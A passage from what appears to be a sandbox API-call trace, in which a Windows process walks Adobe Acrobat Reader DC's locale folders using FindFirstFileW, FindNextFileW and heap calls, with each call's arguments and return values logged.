ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0252.280] GetProcessHeap () returned 0xc10000 [0252.280] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.282] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.282] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0252.282] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.282] GetProcessHeap () returned 0xc10000 [0252.282] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.282] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0252.283] GetProcessHeap () returned 0xc10000 [0252.283] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.286] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.286] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.286] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.286] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.286] GetProcessHeap () returned 0xc10000 [0252.286] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.286] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0252.286] GetProcessHeap () returned 0xc10000 [0252.287] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.287] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0252.288] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.288] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.288] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.288] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0252.288] GetProcessHeap () returned 0xc10000 [0252.288] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.288] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0252.289] GetProcessHeap () returned 0xc10000 [0252.289] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.289] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.290] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.290] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x515, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.290] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x515, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.290] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.290] GetProcessHeap () returned 0xc10000 [0252.290] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.290] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0252.291] GetProcessHeap () returned 0xc10000 [0252.291] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.291] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.292] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.292] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.292] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.292] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.292] GetProcessHeap () returned 0xc10000 [0252.292] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.292] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0252.293] GetProcessHeap () returned 0xc10000 [0252.293] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0252.298] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.298] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x526, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.298] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x526, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.298] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0252.299] GetProcessHeap () returned 0xc10000 [0252.299] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.299] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0252.299] GetProcessHeap () returned 0xc10000 [0252.299] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.300] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.300] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.300] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.300] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.301] GetProcessHeap () returned 0xc10000 [0252.301] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.301] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0252.301] GetProcessHeap () returned 0xc10000 [0252.301] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0252.301] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.301] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x50b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.302] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x50b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.302] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0252.302] GetProcessHeap () returned 0xc10000 [0252.302] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.302] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0252.302] GetProcessHeap () returned 0xc10000 [0252.302] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, 